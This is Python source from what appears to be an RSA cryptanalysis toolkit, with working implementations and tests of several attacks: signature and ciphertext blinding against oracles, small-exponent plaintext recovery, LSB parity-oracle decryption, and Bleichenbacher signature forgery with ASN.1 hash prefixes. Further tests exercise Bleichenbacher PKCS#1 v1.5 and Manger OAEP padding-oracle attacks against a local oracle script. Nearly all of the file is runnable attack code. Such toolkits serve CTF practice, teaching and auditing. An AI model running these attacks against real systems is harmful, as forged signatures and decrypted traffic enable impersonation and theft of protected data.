def test_blinding(): global key_to_oracle key = key_2048 key_to_oracle = key print("\nTest: blinding(key, signing_oracle=signing_oracle)") for _ in range(10): msg_to_sign = b2i( random_bytes(randint(10, (key.size / 8) - 1)).replace( bytes(b'\n'), bytes(b''))) key.add_plaintext(msg_to_sign) signature = blinding(key, signing_oracle=signing_oracle) assert len(signature) == 1 is_correct = subprocess.check_output([ "python", rsa_oracles_path, "verify", key_to_oracle.identifier, i2h(msg_to_sign), i2h(signature[0]) ]).strip().decode() assert is_correct == 'True' key.clear_texts() print("\nTest: blinding(key, decryption_oracle=decryption_oracle)") for _ in range(10): plaintext = b2i( random_bytes(randint(10, (key.size / 8) - 1)).replace( bytes(b'\n'), bytes(b''))) ciphertext = key.encrypt(plaintext) key.add_ciphertext(ciphertext) plaintext_recovered = blinding(key, decryption_oracle=decryption_oracle) assert len(plaintext_recovered) == 1 assert plaintext_recovered[0] == plaintext key.clear_texts() key_to_oracle = None
def small_e_msg(key, ciphertexts=None, max_times=100): """If both e and plaintext are small, ciphertext may exceed modulus only a little Args: key(RSAKey): with small e, at least one ciphertext ciphertexts(list) max_times(int): how many times plaintext**e exceeded modulus maximally Returns: list: recovered plaintexts """ ciphertexts = get_mutable_texts(key, ciphertexts) recovered = [] for ciphertext in ciphertexts: log.debug("Find msg for ciphertext {}".format(ciphertext)) times = 0 for k in range(max_times): msg, is_correct = gmpy2.iroot(ciphertext + times, key.e) if is_correct and gmpy2.powmod(msg, key.e, key.n) == ciphertext: msg = int(msg) log.success("Found msg: {}, times=={}".format( i2h(msg), times // key.n)) recovered.append(msg) break times += key.n return recovered
def decryption_oracle(ciphertext): global key_to_oracle plaintext = subprocess.check_output([ "python", rsa_oracles_path, "decrypt", key_to_oracle.identifier, i2h(ciphertext) ]).strip().decode() return h2i(plaintext)
def signing_oracle(plaintext): global key_to_oracle signature = subprocess.check_output([ "python", rsa_oracles_path, "sign", key_to_oracle.identifier, i2h(plaintext) ]).strip().decode() return h2i(signature)
def test_bleichenbacher_pkcs15(): print("\nTest: Bleichenbacher's PKCS 1.5 Padding Oracle") keys = [key_64, key_256, key_1024] for key in keys: pkcs15_padding_oracle_calls = [0] # must be mutable incremental_blinding = False if key.size < 512: incremental_blinding = True if key.size > 512: plaintext = randint(2, key.n) >> 16 plaintext |= 0x0002 << (key.size - 16) else: plaintext = randint(2, key.n) ciphertext = h2b( subprocess.check_output([ "python", rsa_oracles_path, "encrypt", key.identifier, i2h(plaintext) ]).strip().decode()) msgs_recovered = bleichenbacher_pkcs15( pkcs15_padding_oracle, key.publickey(), ciphertext, incremental_blinding=incremental_blinding, oracle_key=key, pkcs15_padding_oracle_calls=pkcs15_padding_oracle_calls) log.info('For keysize {}: pkcs15_padding_oracle_calls = {}'.format( key.size, pkcs15_padding_oracle_calls[0])) assert msgs_recovered[0] == plaintext key.clear_texts()
def parity(parity_oracle, key, min_lower_bound=None, max_upper_bound=None): """Given oracle that returns LSB of decrypted ciphertext we can decrypt whole ciphertext parity_oracle function must be implemented Args: parity_oracle(callable) key(RSAKey): contains ciphertexts to decrypt min_lower_bound(None/int) max_upper_bound(None/int) Returns: dict: decrypted ciphertexts update key texts """ recovered = {} for text_no in range(len(key.texts)): if 'cipher' in key.texts[text_no] and 'plain' not in key.texts[text_no]: cipher = key.texts[text_no]['cipher'] log.info("Decrypting {}".format(cipher)) two_encrypted = key.encrypt(2) counter = lower_bound = numerator = 0 upper_bound = key.n denominator = 1 while lower_bound + 1 < upper_bound: cipher = (two_encrypted * cipher) % key.n denominator *= 2 numerator *= 2 counter += 1 if max_upper_bound is not None and upper_bound > max_upper_bound: is_odd = 0 else: # todo: check below if min_lower_bound is not None and lower_bound < min_lower_bound: is_odd = 1 else: is_odd = parity_oracle(cipher) if is_odd: # plaintext > n/(2**counter) numerator += 1 lower_bound = (key.n * numerator) // denominator upper_bound = (key.n * (numerator + 1)) // denominator log.debug("{} {} [{}, {}]".format(counter, is_odd, int(lower_bound), int(upper_bound))) log.debug("{}/{} - {}/{}\n".format(numerator, denominator, numerator + 1, denominator)) log.success("Decrypted: {}".format(i2h(upper_bound))) key.texts[text_no]['plain'] = upper_bound recovered[text_no] = upper_bound return recovered
def test_manger(): keys = [key_64, key_256, key_1024, key_2048] for key in keys: manger_padding_oracle_calls = [0] plaintext = randint(2, key.n) >> 8 ciphertext = h2b( subprocess.check_output([ "python", rsa_oracles_path, "encrypt", key.identifier, i2h(plaintext) ]).strip().decode()) msgs_recovered = manger( oaep_padding_oracle, key.publickey(), ciphertext, oracle_key=key, manger_padding_oracle_calls=manger_padding_oracle_calls) log.success('For keysize {}: oaep_padding_oracle_calls = {}'.format( key.size, manger_padding_oracle_calls[0])) assert msgs_recovered[0] == plaintext key.clear_texts()
def bleichenbacher_signature_forgery(key, garbage='suffix', hash_function='sha1'): """Bleichenbacher's signature forgery based on bug in verify implementation Args: key(RSAKey): with small e and at least one plaintext garbage(string): middle: 00 01 ff garbage 00 ASN.1 HASH suffix: 00 01 ff 00 ASN.1 HASH garbage hash_function(string) Returns: dict: forged signatures, signatures[no] == signature(key.texts[no]['plain']) update key texts """ hash_asn1 = { 'md5': bytes( b'\x30\x20\x30\x0c\x06\x08\x2a\x86\x48\x86\xf7\x0d\x02\x05\x05\x00\x04\x10' ), 'sha1': bytes(b'\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14'), 'sha256': bytes( b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20' ), 'sha384': bytes( b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30' ), 'sha512': bytes( b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40' ) } if garbage not in ['suffix', 'middle']: log.critical_error("Bad garbage position, must be suffix or middle") if hash_function not in list(hash_asn1.keys()): log.critical_error( "Hash function {} not implemented".format(hash_function)) if key.e > 3: log.debug("May not work, because e > 3") signatures = {} if garbage == 'suffix': for text_no in range(len(key.texts)): if 'plain' in key.texts[text_no] and 'cipher' not in key.texts[ text_no]: log.info("Forge for plaintext no {} ({})".format( text_no, key.texts[text_no]['plain'])) hash_callable = getattr(hashlib, hash_function)(i2b( key.texts[text_no] ['plain'])).digest() # hack to call hashlib.hash_function plaintext_prefix = bytes(b'\x00\x01\xff\x00') + hash_asn1[ hash_function] + hash_callable plaintext = plaintext_prefix + bytes( b'\x00' * (key.size // 8 - len(plaintext_prefix))) plaintext = b2i(plaintext) for round_error in range(-5, 5): signature, _ = gmpy2.iroot(plaintext, key.e) signature = int(signature + round_error) test_prefix = i2b(gmpy2.powmod(signature, key.e, key.n), size=key.size)[:len(plaintext_prefix)] if test_prefix == plaintext_prefix: log.info("Got signature: {}".format(signature)) log.debug("signature**e % n == {}".format( i2h(gmpy2.powmod(signature, key.e, key.n), size=key.size))) key.texts[text_no]['cipher'] = signature signatures[text_no] = signature break else: log.error( "Something wrong, can't compute correct signature") return signatures elif garbage == 'middle': for text_no in range(len(key.texts)): if 'plain' in key.texts[text_no] and 'cipher' not in key.texts[ text_no]: log.info("Forge for plaintext no {} ({})".format( text_no, key.texts[text_no]['plain'])) hash_callable = getattr(hashlib, hash_function)(i2b( key.texts[text_no] ['plain'])).digest() # hack to call hashlib.hash_function plaintext_suffix = bytes( b'\x00') + hash_asn1[hash_function] + hash_callable if b2i(plaintext_suffix) & 1 != 1: log.error( "Plaintext suffix is even, can't compute signature") continue # compute suffix signature_suffix = 0b1 for b in range(len(plaintext_suffix) * 8): if (signature_suffix** 3) & (1 << b) != b2i(plaintext_suffix) & (1 << b): signature_suffix |= 1 << b signature_suffix = i2b( signature_suffix)[-len(plaintext_suffix):] # compute prefix while True: plaintext_prefix = bytes(b'\x00\x01\xff') + random_bytes( key.size // 8 - 3) signature_prefix, _ = gmpy2.iroot(b2i(plaintext_prefix), key.e) signature_prefix = i2b( int(signature_prefix), size=key.size)[:-len(signature_suffix)] signature = b2i(signature_prefix + signature_suffix) test_plaintext = i2b(gmpy2.powmod(signature, key.e, key.n), size=key.size) if bytes(b'\x00' ) not in test_plaintext[2:-len(plaintext_suffix)]: if test_plaintext[:3] == plaintext_prefix[:3] and test_plaintext[ -len(plaintext_suffix):] == plaintext_suffix: log.info("Got signature: {}".format(signature)) key.texts[text_no]['cipher'] = signature signatures[text_no] = signature break else: log.error("Something wrong, signature={}," " signature**{}%{} is {}".format( signature, key.e, key.n, [(test_plaintext)])) break return signatures
def blinding(key, signing_oracle=None, decryption_oracle=None): """Perform signature/ciphertext blinding attack Args: key(RSAKey): with at least one plaintext(to sign) or ciphertext(to decrypt) signing_oracle(callable) decryption_oracle(callable) Returns: dict: {index: signature/plaintext, index2: signature/plaintext} update key texts """ if not signing_oracle and not decryption_oracle: log.critical_error("Give one of signing_oracle or decryption_oracle") if signing_oracle and decryption_oracle: log.critical_error( "Give only one of signing_oracle or decryption_oracle") recovered = {} if signing_oracle: log.debug("Have signing_oracle") for text_no in range(len(key.texts)): if 'plain' in key.texts[text_no] and 'cipher' not in key.texts[ text_no]: log.info("Blinding signature of plaintext no {} ({})".format( text_no, i2h(key.texts[text_no]['plain']))) blind = random.randint(2, 100) blind_enc = key.encrypt(blind) blinded_plaintext = (key.texts[text_no]['plain'] * blind_enc) % key.n blinded_signature = signing_oracle(blinded_plaintext) if not blinded_signature: log.critical_error( "Error during call to signing_oracle({})".format( blinded_plaintext)) signature = (invmod(blind, key.n) * blinded_signature) % key.n key.texts[text_no]['cipher'] = signature recovered[text_no] = signature log.success("Signature: {}".format(signature)) if decryption_oracle: log.debug("Have decryption_oracle") for text_no in range(len(key.texts)): if 'cipher' in key.texts[text_no] and 'plain' not in key.texts[ text_no]: log.info("Blinding ciphertext no {} ({})".format( text_no, key.texts[text_no]['cipher'])) blind = random.randint(2, 100) blind_enc = key.encrypt(blind) blinded_ciphertext = (key.texts[text_no]['cipher'] * blind_enc) % key.n blinded_plaintext = decryption_oracle(blinded_ciphertext) if not blinded_plaintext: log.critical_error( "Error during call to decryption_oracle({})".format( blinded_plaintext)) plaintext = (invmod(blind, key.n) * blinded_plaintext) % key.n key.texts[text_no]['plain'] = plaintext recovered[text_no] = plaintext log.success("Plaintext: {}".format(plaintext)) return recovered
def test_bleichenbacher_signature_forgery(): key = key_1024_small_e print( "\nTest bleichenbacher_signature_forgery(key, garbage='suffix', hash_function='sha1')" ) for _ in range(10): message1 = bytes(b"Some plaintext ") + random_bytes(10) + bytes( b" anything can it be") message2 = bytes(b"Some plaintext ") + random_bytes(10) + bytes( b" anything can it be") key.add_plaintext(b2i(message1)) key.add_plaintext(b2i(message2)) forged_signatures = bleichenbacher_signature_forgery( key, garbage='suffix', hash_function='sha1') assert len(forged_signatures) == 2 verify_signature1 = subprocess.check_output([ "python", rsa_oracles_path, "verify_bleichenbacher_suffix", key.identifier, b2h(message1), i2h(forged_signatures[0]), 'sha1' ]).strip().decode() assert verify_signature1 == 'True' verify_signature2 = subprocess.check_output([ "python", rsa_oracles_path, "verify_bleichenbacher_suffix", key.identifier, b2h(message2), i2h(forged_signatures[1]), 'sha1' ]).strip().decode() assert verify_signature2 == 'True' key.clear_texts() print( "\nTest bleichenbacher_signature_forgery(key, garbage='middle', hash_function='sha1')" ) for _ in range(10): message1 = bytes(b"Some plaintext ") + random_bytes(10) + bytes( b" anything can it be") message2 = bytes(b"Some plaintext ") + random_bytes(10) + bytes( b" anything can it be") key.add_plaintext(b2i(message1)) key.add_plaintext(b2i(message2)) forged_signatures = bleichenbacher_signature_forgery( key, garbage='middle', hash_function='sha1') print(forged_signatures) # first plaintext signed if 0 in forged_signatures: verify_signature1 = subprocess.check_output([ "python", rsa_oracles_path, "verify_bleichenbacher_middle", key.identifier, b2h(message1), i2h(forged_signatures[0]), 'sha1' ]).strip().decode() assert verify_signature1 == 'True' # second plaintext signed if 1 in forged_signatures: verify_signature2 = subprocess.check_output([ "python", rsa_oracles_path, "verify_bleichenbacher_middle", key.identifier, b2h(message2), i2h(forged_signatures[1]), 'sha1' ]).strip().decode() assert verify_signature2 == 'True' key.clear_texts()